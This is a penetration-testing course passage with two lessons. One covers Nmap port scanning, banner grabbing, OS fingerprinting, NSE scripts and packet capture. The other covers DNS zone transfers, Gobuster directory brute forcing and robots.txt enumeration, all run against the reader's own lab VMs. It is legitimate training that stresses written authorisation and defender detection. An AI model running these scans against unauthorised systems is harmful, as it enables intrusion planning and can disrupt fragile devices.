Exam objectives: 2.1 (network reconnaissance; protocol scanning, TCP and UDP; banner grabbing; network sniffing, including IoT and OT protocols), 2.2 (host discovery, service discovery, OS fingerprinting, protocol enumeration) and 2.4 (Nmap and the Nmap Scripting Engine, Wireshark and tcpdump).

300px-Tcp-handshake.png : ??? derivative work: Snubcube ( talk ) - CC BY-SA 3.0 - Wikimedia Commons
Before you run anything
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command in this lesson names an address on your own host-only lab network, and nothing else. On a client engagement, active scanning is exactly the kind of activity that must sit inside the signed scope and testing window, because the client's monitoring may notice it. Nmap's author also warns that some fragile or poorly written devices have crashed under particular scans, which is why OT networks get special treatment later in this lesson.
Start Metasploitable, then on Kali run ip -br addr to confirm your host-only interface (often eth1) and your addresses. This lesson writes Kali as 192.168.56.101 and Metasploitable as 192.168.56.102.
Step 1: Find the hosts
Host discovery answers the first question of network reconnaissance: which addresses have something alive behind them? You ran it in Lesson 2: sudo nmap -sn 192.168.56.0/24. The -sn option skips the port scan. By default, Nmap's documentation says, it sends an ICMP echo request, a TCP SYN to port 443, a TCP ACK to port 80 and an ICMP timestamp request. On a local Ethernet network such as your host-only network, Nmap uses ARP requests instead, even if you ask for other probes, because ARP is almost always faster and more effective there.
Two complications matter in real networks. Many hosts and firewalls block ICMP, so a host can be up but silent; the -Pn option skips discovery and scans every listed address as if it were up. And network reconnaissance is more than a host list: note the gateways, the subnets each host sits in, and the route between them, which Nmap's --traceroute option records. A host with addresses in two networks is a possible bridge between them, a theme that returns in Module 8.
Step 2: Find the open ports
Port scanning is the exam's "protocol scanning". By default Nmap scans the 1,000 most common ports for each protocol; -p- scans all 65,535 TCP ports. Run both against your target and compare:
sudo nmap -sS 192.168.56.102(the 1,000 most common TCP ports)sudo nmap -sS -p- -T4 192.168.56.102 -oA lab-full(every TCP port, saved in three formats)
Here is the shape of the full scan's report, abridged. Rapid7's guide lists 30 open TCP ports on this VM, and the high-numbered ones will differ on yours.
Nmap scan report for 192.168.56.102
Host is up (0.00028s latency).
Not shown: 65505 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
80/tcp open http
445/tcp open microsoft-ds
3632/tcp open distccd
[further ports removed]
MAC Address: 08:00:27:11:22:33 (Oracle VirtualBox virtual NIC)
The "Not shown" line says why most ports are missing from the table: they answered with a reset. The SERVICE column is only a lookup of the port number in Nmap's services file, not a test of what is listening. Step 3 does that test.
The -sS option is a SYN scan, the default when Nmap has raw-packet privileges. It is often called half-open scanning, because Nmap never completes the handshake: a SYN/ACK marks the port open and Nmap sends a reset; a RST marks it closed; silence after retries marks it filtered. Without privileges, Nmap falls back to a connect scan (-sT), which completes every handshake through the operating system and is more likely to be logged.
Nmap reports six port states, and the exam expects you to read them.
| State | What it means | Typical cause |
|---|---|---|
| open | An application is accepting connections | A listening service |
| closed | Reachable, but nothing is listening | The host answered with RST |
| filtered | Probes are blocked, so Nmap cannot tell | A firewall dropped the probe or returned ICMP unreachable |
| unfiltered | Reachable, but open or closed is unknown | Reported only by the ACK scan |
| open|filtered | Open or filtered; the scan type cannot tell | Open ports give no response in UDP, FIN, NULL and Xmas scans |
| closed|filtered | Closed or filtered | Reported only by the IP ID idle scan |
UDP needs its own scan: sudo nmap -sU --top-ports 20 192.168.56.102. It is slow for a reason. A closed UDP port normally answers with an ICMP port unreachable message. An open or filtered one usually says nothing, so Nmap must wait and retry. Many systems, Linux among them, also rate-limit those ICMP messages. Nmap's documentation calculates that a one-per-second limit could stretch a full 65,536-port UDP scan past 18 hours. Scan the UDP ports that matter, such as DNS (53), SNMP (161) and NTP (123), rather than all of them.
The exam's "stealth scans" go further. NULL, FIN and Xmas scans (-sN, -sF, -sX) send segments with no flags, only FIN, or FIN, PSH and URG. They rely on a rule in RFC 793: a closed port should answer such a segment with RST, and an open one should drop it. Many Unix-like systems follow the rule, but Microsoft Windows, many Cisco devices and others send RST regardless, so every port looks closed.
Timing matters too: Nmap's templates run from -T0 (paranoid) and -T1 (sneaky), designed to slip under intrusion detection, through -T3 (normal, the default) to -T4 (aggressive) and -T5 (insane). On a client network, slower is gentler; the ROE may set a maximum rate.
What matters here: "filtered" and "open|filtered" are statements about what Nmap could not see, not about what is there. Write them up as unknowns, never as "closed".

Taonas - CC BY-SA 3.0 - Wikimedia Commons
Step 3: Ask each service what it is
An open port is only a number. Service discovery turns it into a name and a version. The simplest way is banner grabbing: connect and read what the service says first. With Netcat, nc -nv 192.168.56.102 21 connects to the FTP port and prints its greeting line; type QUIT to leave. Try port 25 (SMTP) and port 22 (SSH) the same way. Many services announce their software and version in that first line, as the FTP service does here:
(UNKNOWN) [192.168.56.102] 21 (ftp) open
220 (vsFTPd 2.3.4)
Nmap's banner script does the same at scale: sudo nmap --script banner -p 21,22,25 192.168.56.102.
Version detection goes further. sudo nmap -sV -p 21,22,25,80,445 192.168.56.102 sends probes from Nmap's service-probes database and matches the replies, reporting the service protocol, the application name and version, and sometimes the hostname, device type and operating system family. The --version-intensity option, from 0 to 9 with a default of 7, trades thoroughness for time.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Compare that with your banners. Port 445 prints nothing useful to Netcat, because an SMB server waits for the client to speak first, so only the probes in -sV can name Samba. That is when you reach for -sV over a hand-grabbed banner: any service that does not greet you, or many ports at once.
Remember that a banner is a claim. Administrators can change or hide banners, and a patched service may still report an old version number, because some vendors back-port fixes without changing it. Lesson 12 turns this into a validation step before any finding is reported.
Step 4: Ask the host what it is
Operating system fingerprinting identifies the target's operating system from how its TCP/IP stack behaves. Run sudo nmap -O 192.168.56.102. Nmap sends a series of TCP and UDP probes and measures details such as initial sequence numbers, TCP options and their order, IP ID patterns and window sizes. It compares the result with a database of more than 2,600 known fingerprints. Its documentation says OS detection is far more effective when it finds at least one open and one closed TCP port. That is why --osscan-limit skips hosts without both. The --osscan-guess option reports near-matches with a confidence percentage.
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
That is a kernel family and range, not a product name: Nmap does not say Ubuntu here, though the version strings from Step 3 do. A perfect match shows no percentage; confidence figures appear only when Nmap prints near-matches.
Fingerprinting can also be passive. Tools such as p0f, which NIST SP 800-115 lists among discovery tools, infer the operating system from traffic you capture rather than from probes you send, which is quieter and safer on fragile networks.

Unknown author - CC BY-SA 3.0 - Wikimedia Commons
Step 5: Enumerate the protocols
Protocol enumeration asks what a service supports, not just what it is: which SMB dialects, which SSH ciphers, which TLS versions. This is where the Nmap Scripting Engine (NSE) earns its place. Scripts are grouped into categories: safe scripts are not designed to crash services, use heavy resources or exploit flaws, and discovery scripts query for information. Other categories, such as brute, dos, exploit, intrusive and vuln, do things your ROE may forbid, so name your categories explicitly.
sudo nmap --script smb-protocols -p 445 192.168.56.102lists the SMB dialects the server accepts and flags SMBv1, an outdated and risky version.sudo nmap --script ssh2-enum-algos -p 22 192.168.56.102reports the encryption, key exchange and compression algorithms the SSH server offers; outdated ones become findings.sudo nmap --script "discovery and safe" -p 21,22,25,80 192.168.56.102runs only scripts in both categories, a sensible ceiling for this course. On a client network, addand not externalto the expression: some of those scripts, such as whois-ip, send the target's address to third-party services.
The -sC option runs the default category. Nmap chooses default scripts to be fast, useful, concise, reliable and, almost always, safe, but read what a script does before pointing it at a client.

Jacek Wielemborek - CC0 - Wikimedia Commons
Step 6: Watch it on the wire
Network sniffing shows you what your tools actually send, and what the network says when nobody is probing it. In one Kali terminal start a capture: sudo tcpdump -i eth1 -n -w /tmp/scan.pcap host 192.168.56.102. The -i option picks the interface, -n keeps addresses numeric, and -w writes raw packets to a file.
The path matters: Debian's tcpdump package, which Kali carries, drops root privileges to its own tcpdump user before it opens the output file, so a file in your home folder fails with "Permission denied".
In a second terminal run sudo nmap -sS -p 21,23,8888 192.168.56.102, then stop the capture with Ctrl+C. Read it back with tcpdump -n -r /tmp/scan.pcap, or open it in Wireshark and apply the display filter tcp.flags.syn == 1 and tcp.flags.ack == 1 to see only SYN/ACK replies. Port 8888 should show your SYN answered by a RST, the signature of a closed port.
In tcpdump's text, S is SYN, a dot is ACK and R is RST. The lines to look for read like this; your numbers will differ.
14:02:11.120001 IP 192.168.56.101.51123 > 192.168.56.102.21: Flags [S], seq 3187654321, win 1024, options [mss 1460], length 0
14:02:11.120402 IP 192.168.56.102.21 > 192.168.56.101.51123: Flags [S.], seq 2090123456, ack 3187654322, win 5840, options [mss 1460], length 0
14:02:11.120430 IP 192.168.56.101.51123 > 192.168.56.102.21: Flags [R], seq 3187654322, win 0, length 0
14:02:11.120511 IP 192.168.56.101.51123 > 192.168.56.102.8888: Flags [S], seq 3187654321, win 1024, options [mss 1460], length 0
14:02:11.120790 IP 192.168.56.102.8888 > 192.168.56.101.51123: Flags [R.], seq 0, ack 3187654322, win 0, length 0
Line 2 is the SYN/ACK that proves port 21 open. Line 3 is Kali's own reset, the half-open scan tearing the connection down, so a RST coming from your side says nothing about the port. Line 5 is the target's reset, which is what marks port 8888 closed. Read the direction before you read the flag.
In industrial and building networks, sniffing is not just a learning aid; it is the safer way to do reconnaissance. NIST SP 800-82 Revision 3 repeatedly warns that active scanning can disrupt operational technology. It recommends passive monitoring from SPAN ports or network taps. Any active tool should be tested on non-production systems first and used during planned downtime. Learn the common ports so you recognize the protocols in a capture:
| Protocol | IANA service name and port | Where it appears |
|---|---|---|
| Modbus | mbap, 502 (TCP and UDP) | Industrial controllers; no authentication in the classic protocol |
| DNP3 | dnp, 20000 | Electric and water utilities |
| BACnet | bacnet, 47808 | Building automation such as heating and lighting |
| MQTT | mqtt, 1883 | IoT devices publishing sensor data to a broker |
Lesson 22 explains how these protocols are attacked and defended. For reconnaissance, the point is that a capture from a mirror port can reveal every controller, its role and its partners without sending it a single packet.

Laurachappell - CC BY-SA 4.0 - Wikimedia Commons

Lars martin4 - CC BY-SA 4.0 - Wikimedia Commons

Sertion - CC BY-SA 4.0 - Wikimedia Commons

Cubro - CC BY-SA 4.0 - Wikimedia Commons
A second run: the same target behind a firewall
Now change one input. On Metasploitable, log in as msfadmin and block the FTP port with its host firewall: sudo iptables -A INPUT -p tcp --dport 21 -j DROP. (If your image lacks iptables, read this section as a thought experiment.) Rescan with sudo nmap -sS -p 21,22 192.168.56.102.
- Port 21 changes from open to filtered. The SYN now gets no answer at all, so Nmap cannot tell whether anything listens.
- Port 22 is unchanged. The rule touched only port 21, which is how a real firewall's allow list looks to a scanner.
- Banner grabbing fails.
nc -nv 192.168.56.102 21hangs and times out instead of printing a greeting. - Your capture shows the difference. SYNs to port 21 go out and nothing comes back, where before there was a SYN/ACK.
Had the firewall dropped ICMP and every probe Nmap uses for discovery on a routed network, the host would have looked down and you would have needed -Pn to scan it at all. When you finish, restore Metasploitable's snapshot rather than removing the rule by hand.
Exam cues: which scan, flag or state the stem wants
Objectives 2.1, 2.2 and 2.4 begin "Given a scenario", and these are the pairs people mix up.
| The stem says | It points to | Do not confuse with |
|---|---|---|
| "Half-open", "never completes the handshake" | -sS, the default with raw-packet privileges | -sT, which completes every handshake and is what an unprivileged user gets |
| "Which addresses are alive?", "no port scan" | -sn | -Pn, which skips discovery and scans ports anyway |
| "Ignores ping, but the client says it exists" | -Pn | -sn, which would report the host as down |
| "List the targets without sending them packets" | -sL, with -n to skip DNS lookups | -sn, which does send probes |
| "SYN answered by RST" | closed | filtered, which means silence or ICMP unreachable |
| "UDP port gives no response after retries" | open|filtered | closed, where UDP normally answers with ICMP port unreachable |
| "ACK scan gets a RST" | unfiltered: reachable, but open or closed is unknown | open, which an ACK scan cannot tell you |
| "FIN, NULL or Xmas scan shows every port closed on a Windows host" | Windows answers RST either way, so use -sS | A firewall, which would show filtered or open|filtered |
| "Which software and version on open ports?" | -sV, or banner grabbing with Netcat for a single port | -O, which identifies the operating system |
| "Identify the OS without probing a fragile host" | Passive fingerprinting from captured traffic, such as p0f | -O, which sends probes and works best with one open and one closed TCP port |
| "Which SMB dialects or SSH algorithms does it offer?" | Protocol enumeration with NSE: smb-protocols, ssh2-enum-algos | -sV, which names the product, not everything it supports |
| "Only scripts that gather information and are not designed to crash or exploit" | --script "discovery and safe" | The vuln, intrusive or exploit categories; -sC runs the default category, a different set |
| "Capture to a file from the command line" | tcpdump -w, read back with -r | Wireshark, the graphical tool with display filters |
| "PLCs", "control network", "fragile devices" | Passive capture from a SPAN port or tap; ports 502, 20000, 47808 and 1883 name the protocols | Any active scan in production |
| "Feed the results to a script" | -oX | -oG, which is deprecated; -oA saves normal, XML and grepable at once |
How scan results are reported
Raw scans are evidence, not findings. Keep the files from -oA (normal, XML and the deprecated grepable format) with the date, time and source address, because the client may need to match your scans to its own logs. Then turn the results into findings that say what is exposed and why it matters. Telnet open on a server is a cleartext login exposure, with the recommendation to disable it and use SSH. An SMB server accepting SMBv1 is an outdated-protocol finding, with the recommendation to disable SMBv1. Unknowns, such as filtered ports, go in the report's limitations rather than being silently dropped.
Common misconceptions
- "Filtered means closed." Filtered means Nmap could not tell. Something may be listening behind the filter.
- "A host that does not answer ping is down." Many hosts block ICMP. Use -Pn when the scope says the host exists.
- "A SYN scan is invisible." Half-open scans avoid completed connections in application logs, but firewalls and intrusion detection systems see them easily.
- "The banner proves the version." Banners can be changed, hidden or out of date after back-ported patches. Treat them as claims to validate.
- "NSE scripts are all safe because they ship with Nmap." Categories include brute, dos, exploit and intrusive. Choose categories that your ROE allows.
Recap
- A SYN answered by SYN/ACK means open, by RST means closed, and by silence or ICMP unreachable means filtered.
- Host discovery (-sn) uses ARP on local Ethernet and a mix of ICMP and TCP probes elsewhere; -Pn skips it.
- Nmap scans 1,000 common ports by default and all 65,535 with -p-; UDP scans are slow because open ports rarely reply and ICMP is rate-limited.
- NULL, FIN and Xmas scans depend on RFC 793 behavior that Windows and many other systems do not follow.
- Banner grabbing, -sV and -O identify services, versions and operating systems; safe and discovery NSE scripts enumerate protocols.
- tcpdump and Wireshark show what your tools send; on OT networks, passive capture from a SPAN port or tap is the safer reconnaissance.
- Save raw output as evidence, report exposures with fixes, and list unknowns as limitations.
Sources
- Lyon, G. (n.d.). Nmap reference guide: Host discovery; Port scanning basics; Port scanning techniques; Port specification and scan order; Service and version detection; OS detection; Timing and performance; Output. host discovery; port states; scan techniques; port specification; version detection; OS detection; timing; output
- Lyon, G. (n.d.). Usage and examples (NSE script categories) and Legal issues (crash risk). In Nmap network scanning; and NSE documentation for the banner, smb-protocols, ssh2-enum-algos and whois-ip scripts. nmap.org (legal issues); whois-ip; nmap.org (NSE usage); banner; smb-protocols; ssh2-enum-algos
- The Tcpdump Group. (n.d.). tcpdump(1) manual page. tcpdump.org; Debian tcpdump package. (n.d.). debian/rules, version 4.99.6-2 (builds with a dedicated tcpdump user). tracker.debian.org; Wireshark Foundation. (n.d.). Display filter reference: Transmission Control Protocol. wireshark.org
- Internet Assigned Numbers Authority. (n.d.). Service name and transport protocol port number registry (entries for ports 502, 1883, 20000 and 47808). iana.org
- Rapid7. (n.d.). Metasploitable 2 exploitability guide (used here only for the list of open ports). docs.rapid7.com
- Stouffer, K., et al. (2023). Guide to operational technology (OT) security (NIST Special Publication 800-82 Rev. 3). National Institute of Standards and Technology. csrc.nist.gov
- Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 4 and Appendix A. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
- Key terms
- Host discovery
- Finding which addresses are alive before scanning their ports; Nmap's -sn, which uses ARP on local Ethernet.
- SYN scan
- Nmap's default privileged TCP scan (-sS), called half-open because it never completes the handshake.
- Port states
- Nmap's six readings of a port: open, closed, filtered, unfiltered, open|filtered and closed|filtered.
- Banner grabbing
- Connecting to a service and reading the first text it sends, which often names its software and version.
- Version detection
- Nmap's -sV, which probes open ports and matches replies to identify the service, application and version.
- OS fingerprinting
- Inferring a host's operating system from how its TCP/IP stack responds to probes, or passively from captured traffic.
- Nmap Scripting Engine (NSE)
- Nmap's script system, whose categories, such as safe, discovery, intrusive and exploit, tell you what a script may do.
- Protocol enumeration
- Listing what a service supports, such as SMB dialects, SSH algorithms or TLS versions.
- SPAN port
- A switch port that mirrors traffic to a monitoring device, letting testers watch OT networks without probing them.
What a Service Gives Away: Enumerating DNS, Shares, Users, Directories, Secrets, and WAFs
- Enumerate DNS, directories, shares, local users and email accounts in your own lab, and explain why each service answers.
- Recognize cloud access keys, passwords, API keys and session tokens, and handle them as evidence without using them.
- Detect a web application firewall, explain how an origin address becomes exposed, and report it without going around the control.
- Diagnose false conclusions in enumeration output, map the results into an attack path, and write a finding with severity, evidence, root cause and remediation.
Seven true observations and one wrong conclusion
At 4:10 on a Thursday afternoon, Mara, a fictional junior tester, closed her enumeration notes on an in-scope Linux server with one sentence: nothing else to enumerate, moving on to vulnerability scanning. The server was the same Metasploitable VM you scanned in Lesson 7. These are her notes.
Target 192.168.56.102. Open from my Nmap scan: 25, 53, 80, 111, 139, 445, 2049 and others.
1 DNS dig 192.168.56.102: no servers could be reached. -> No DNS data here.
2 Web Gobuster with common.txt: no /dvwa, no /mutillidae. -> Those apps are not installed.
3 Shares smbclient from the jump box: negotiation failed. -> SMB is closed to me.
4 Users VRFY msfadmin returned 252. RFC: 252 = cannot verify. -> No user data.
5 Perms enum4linux on tmp share says Writing: N/A. -> Not writable.
6 Secrets grep -i password on the home page: 0 hits. -> No secrets.
7 WAF http-waf-detect printed nothing. -> No WAF. Nothing to note.
Conclusion: nothing else to enumerate. Moving to vulnerability scanning.
Everything left of the arrows happened. Everything right of them is wrong, each for a different reason. She made seven errors:
- She asked the wrong server.
- She trusted a list that lacked the words.
- She blamed the server for her own client's limits.
- She read a reply code without a control.
- She read "not tested" as "no".
- She searched the wrong place for one word.
- She took a tool's silence for a fact.
Those seven errors are this lesson's seven stops.
Enumeration is the step after scanning. A port scan asks what is listening; enumeration asks the listening service what it knows. It works because these protocols were built to answer: DNS exists to publish names, file servers list their shares so clients can browse them, and mail servers must decide which recipients are real. Your job is to ask the right question, read the reply exactly, and know what the reply does not prove.
Exam objectives: 2.2 (DNS, directory, share, local user, email account, permission and secrets enumeration, including cloud access keys, passwords, API keys and session tokens; web crawling; manual enumeration of robots.txt, sitemaps and platform plugins; WAF enumeration, including the origin address; attack path mapping) and 2.4 (Amass, DNSdumpster, theHarvester, Hunter.io, nslookup and dig).
Before you run anything
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command in this lesson names an address on your own lab: 192.168.56.102 for Metasploitable and 127.0.0.1 for Juice Shop. Anything about any other network is fictional data printed on the page.
Enumeration needs more care on a client than scanning does, because some of it looks like an attack. Lesson 7 called "discovery and safe" a sensible ceiling for NSE scripts, and several scripts here sit above it.
Nmap files smb-enum-shares under discovery and intrusive, smb-enum-users under auth and intrusive, and smtp-enum-users under auth, external and intrusive. Nmap uses intrusive for scripts whose risk of crashing something, using heavy resources or being taken for an attack is too high to call safe.
That is fine on your own VM. On an engagement, the ROE has to allow it, along with directory brute forcing and any contact with staff.
Start Metasploitable and keep Kali's NAT adapter not attached. Gobuster, enum4linux and the dirb wordlists are all in Kali's default image. If a tool is missing, shut the target down before you reconnect the NAT adapter to install it. If your computer cannot run Metasploitable, read the sample outputs below as your evidence.
Line 1: the Domain Name System asked the wrong way
Mara typed dig 192.168.56.102 and got a timeout. The tool, whose name the exam's acronym list expands as DIG, the Domain Information Groper, takes the server to ask after an @ sign: dig @server name type. Without the @, her address was just a name to look up, and the question went to whichever resolver /etc/resolv.conf lists. With Kali's NAT adapter unplugged, no resolver was reachable. Her message described her own machine and said nothing about the target.
Ask the target directly. These four lookups are your DNS enumeration of the lab:
dig @192.168.56.102 version.bind txt chaos +short
dig @192.168.56.102 localhost A +short
dig @192.168.56.102 localhost AXFR
nslookup localhost 192.168.56.102
The first asks what software answers. BIND replies to a TXT query for version.bind in the CHAOS class with its real version unless an administrator changes that setting. Published scans of this image report ISC BIND 9.4.2 and say recursion appears to be enabled, so expect "9.4.2". A version string is already something to carry into Module 4. The last line is the same idea in nslookup, the older tool from Lesson 6, whose form is nslookup name server: the server goes last and takes no @.
Here this lab runs out, and you should know that before building on it. The published scans confirm the version and the recursion, but no published source we found lists this image's zones, so find out yourself: log in on Metasploitable's console as msfadmin and run grep zone /etc/bind/named.conf*.
Expect only stock entries such as localhost and the loopback reverse zones, with nothing resembling a company's domain. The localhost lookup should give 127.0.0.1 at most. The AXFR should print a few lines or ; Transfer failed. Questions about outside names should end in SERVFAIL or a timeout, because the server tries to recurse toward an internet it cannot reach.
Write down what you get. An empty result recorded accurately is evidence. Mara's was not, because she never asked.

Lion Kimbro - Public domain - Wikimedia Commons
What a fuller zone gives away: SOA, CNAME and zone transfers
Since your lab's server has nothing worth copying, here is what a real answer looks like. The data is fictional, using example.com and documentation addresses. It is a successful DNS zone transfer, an AXFR request that asks an authoritative name server for the entire zone:
example.com. 3600 IN SOA ns1.example.com. hostmaster.example.com. 2026110301 7200 1800 1209600 300
example.com. 3600 IN NS ns1.example.com.
example.com. 3600 IN MX 10 mail.example.com.
example.com. 3600 IN TXT "v=spf1 ip4:198.51.100.7 -all"
www.example.com. 3600 IN CNAME example-com.waf-provider.example.net.
vpn.example.com. 3600 IN A 203.0.113.30
staging-api.example.com. 3600 IN A 203.0.113.44
ftp.example.com. 3600 IN A 198.51.100.7
example.com. 3600 IN SOA ns1.example.com. hostmaster.example.com. 2026110301 7200 1800 1209600 300
| Record | What it is | What it gives a tester |
|---|---|---|
| SOA (Start of Authority) | The zone's header: primary server, administrator's mailbox, serial number and timers. RFC 5936 requires a transfer to begin and end with it | The server to ask, and a serial that often shows when the zone last changed |
| NS and MX | Name servers and mail servers | More hosts to enumerate; a mail host is where Line 4 begins |
| TXT | Free text, often SPF mail policy and service verification strings | Which addresses and cloud services the organization trusts; note 198.51.100.7 here |
| CNAME (canonical name) | An alias pointing one name at another | An alias into a CDN or WAF provider, which matters at Line 7 |
| A and AAAA | A name's IPv4 and IPv6 addresses | Hosts nobody mentioned, such as staging-api: check the scope list before touching one |
| PTR | The reverse: an address's name, found with dig -x | Names for an address range, sometimes internal ones |
Each name in the left column is a fully qualified domain name (FQDN): the complete name, every label up to the root, which is what the trailing dot marks. RFC 9499 notes that people usually write it without the dot and still call it fully qualified. A mail banner can hand you one for free, as you will see at Line 4.
Why does a server hand all this over? AXFR exists so that secondary name servers can copy a zone from the primary. If nothing restricts who may ask, a tester gets the same copy.
RFC 5936 says implementations should offer a way to limit transfers and should not default to open. BIND's default stayed permissive until the 9.20 release notes announced that outgoing transfers are no longer enabled by default, so older servers such as your lab's are the likely place to see one.
Testers try it early because a single request can replace days of guessing. The evidence is the transfer output with its date and source. Defenders see an AXFR from an address that is not a secondary in the name server's logs. The fix is allow-transfer limited to the named secondaries, ideally with TSIG keys.
Now change one input. Suppose the administrator adds that restriction and you repeat the request. The whole reply becomes one line, ; Transfer failed., and the finding disappears. OWASP's testing guide says most servers now refuse, while still calling it worth trying. So you fall back on three slower methods:
- a reverse sweep of the in-scope range, one PTR lookup per address
- guessing names from a wordlist with dnsrecon, dnsenum or
gobuster dns - permuting names you already know
Those guesses show up in the client's logs as bursts of failed lookups.
Two traps wait there. A wildcard record makes every guess resolve, so look up a random name that cannot exist before you trust a hit. And RFC 8482 lets servers give a minimal reply to an ANY query, so an almost empty ANY answer does not mean the records are absent. Ask for each type.
| Tool | Where its data comes from | Does it touch the target? | Choose it when |
|---|---|---|---|
| dig, nslookup | The one server you name | Yes: ordinary lookups look normal, an AXFR does not | You want one exact answer from one server |
| Amass | An OWASP project combining certificate logs, web archives, scraping and APIs, plus brute forcing and zone transfers only on request | Depends on the options you choose | You need the broadest map of an organization and have time to run it |
| DNSdumpster | HackerTarget's DNS data, through a website | No traffic from you to the target | You want a fast first look at one domain |
| theHarvester | Search engines, certificate logs, DNS datasets and code repositories | Not by default, though the providers see what you asked | You want people and hosts in one run |
| Hunter.io | Its own index of addresses found on public pages | No; needs an account (18 and over) | You need a domain's email format rather than its hosts |
Each tool's output has its own shape. Older Amass releases, and many guides, print each relationship as a line:
www.example.com (FQDN) --> cname_record --> example-com.waf-provider.example.net (FQDN)
vpn.example.com (FQDN) --> a_record --> 203.0.113.30 (IPAddress)
Version 5, the one Kali packages, keeps findings in an asset database and reads them back through subcommands such as subs, assoc and viz. theHarvester prints plain lists under headings, as in this fictional run, and DNSdumpster gives you a web page of the domain's DNS records and related hosts:
[*] Target: example.com
[*] Emails found: 2
----------------------
jane.doe@example.com
sam.lee@example.com
[*] Hosts found: 2
---------------------
mail.example.com
vpn.example.com
All of these work on real domains, and this course runs commands only against your own lab, so no command line for them appears here. Where an account or key is needed, read the terms first, as Lesson 6 explained.
Bottom line: check who you actually asked. A timeout from your own resolver says nothing about the target, and a refused transfer closes only one of several routes to the same names.

Sylvain Leroux ( talk ) - CC BY-SA 3.0 - Wikimedia Commons
Line 2: directory enumeration and the limits of a wordlist
Directory enumeration requests a list of likely names, one after another, and reports whatever does not come back 404. MITRE ATT&CK files this under T1595.003, Wordlist Scanning. Mara used Gobuster, a fast Go tool whose dir mode does exactly this. Run it, then read the home page's links yourself:
gobuster dir -u 192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -q
curl -s 192.168.56.102/ | grep -o 'href="[^"]*"'
Gobuster assumes plain HTTP when you give no scheme and no port. Trimmed to names and status codes, expect something like the first block; published scans of the image report these paths, and your run may list more. The second block is what the home page's five links should give.
/dav (Status: 301)
/phpMyAdmin (Status: 301)
/phpinfo.php (Status: 200)
/test (Status: 301)
/twiki (Status: 301)
href="/twiki/"
href="/phpMyAdmin/"
href="/mutillidae/"
href="/dvwa/"
href="/dav/"
| Path | Found by reading links | Found by common.txt |
|---|---|---|
| /twiki/, /phpMyAdmin/, /dav/ | Yes | Yes |
| /dvwa/, /mutillidae/ | Yes | No |
| /phpinfo.php, /test/ | No | Yes |
Kali's common.txt has about 4,600 entries, and neither dvwa nor mutillidae is among them. The tool never asked for those paths, so its silence meant nothing. The apps Mara declared missing were linked from the front page. The reverse holds too: nothing on the home page links to /phpinfo.php, so reading links alone would have missed a page that prints a lot of system information.
Prove it with one changed input. Make a two-word list and run again:
printf 'dvwa\nmutillidae\n' > extra.txt
gobuster dir -u 192.168.56.102 -w extra.txt -q
Both paths now appear. Same server, same tool, and the result flips because of the list. That is why testers build lists from what they have already learned about a target, and why larger collections such as SecLists exist.
Web crawling is the other half. A web crawler fetches a page, pulls out its links, visits them and repeats, so it maps what the site itself points to, using requests that look like ordinary browsing. ZAP's Spider does this and can also read robots.txt and sitemap.xml for starting points; its AJAX Spider drives a real browser for pages built by JavaScript. That last point matters at 127.0.0.1:3000. Juice Shop's HTML ships an empty app-root element and no ordinary links, so a plain crawler sees almost nothing. Lesson 9 hits that wall with a Python scraper and modifies the script to get past it.
One more false result to recognize. Some applications answer every path with 200 and a friendly "not found" page. Gobuster checks for this first by requesting a random name, and stops with a message like this one (fictional target):
Error: the server returns a status code that matches the provided options for non existing urls.
https://app.example.com/5f1c9e02 => 200 (Length: 1043). Please exclude the response length or the
status code or set the wildcard option.
Believing a hit list from such a server would give you thousands of paths that do not exist. Filter on the repeated response length with --exclude-length, then read what is left. Defenders notice wordlist scans easily: one client, hundreds of 404s a minute, in alphabetical order. On a client, the ROE may cap the rate, and --delay honors it. The fixes are to remove what should not be there, deny by default, put authentication on administrative paths and turn off directory listings.

Vector version by dnet based on image by User:ChaTo - CC BY-SA 3.0 - Wikimedia Commons
Manual enumeration: robots.txt, sitemaps and platform plugins
Before you run any list, read what the site publishes about itself. Manual enumeration takes a handful of ordinary requests, so it is cheap and nearly invisible. These three are the exam's named sources.
Robots.txt sits at the root of a site and tells crawlers which paths to skip. RFC 9309, which standardized it, says plainly that its rules are not a form of access authorization, and warns that listing a path makes it discoverable. Read the file in your lab:
curl -s 127.0.0.1:3000/robots.txt
curl -s 192.168.56.102/mutillidae/robots.txt
Juice Shop's source configures its reply as a single rule, and Mutillidae's project copy, trimmed here, names several directories (the older copy on your VM may differ slightly):
User-agent: *
Disallow: /ftp
User-agent: *
Disallow: data/
Disallow: passwords/
Disallow: config.inc
Disallow: classes/
Rapid7's guide lists Mutillidae's robots.txt as containing directories that are supposed to be private. Asking crawlers to avoid a folder called passwords is a signpost for everyone who is not a polite crawler. The rule proves nothing about whether the path is reachable, so you test that next, with a request for headers only, as Line 6 shows.
Sitemaps do the opposite job: an XML file, usually sitemap.xml and often named in robots.txt, lists the pages an owner wants search engines to find, up to 50,000 URLs per file. On your lab, expect curl -s -o /dev/null -w '%{http_code}\n' 192.168.56.102/sitemap.xml to print 404, and record that. On a real site it can look like this fictional sample, where the date tells you what changed last week:
<url><loc>https://www.example.com/careers/</loc><lastmod>2026-09-14</lastmod></url>
<url><loc>https://www.example.com/partners/portal-migration/</loc><lastmod>2026-10-30</lastmod></url>
Platform plugins are where versions leak. On WordPress, plugins live under wp-content/plugins, and WordPress's readme format includes a Stable tag line, so one file can name an exact version:
=== Acme Forms === (fictional plugin)
Requires at least: 6.2
Stable tag: 2.4.1
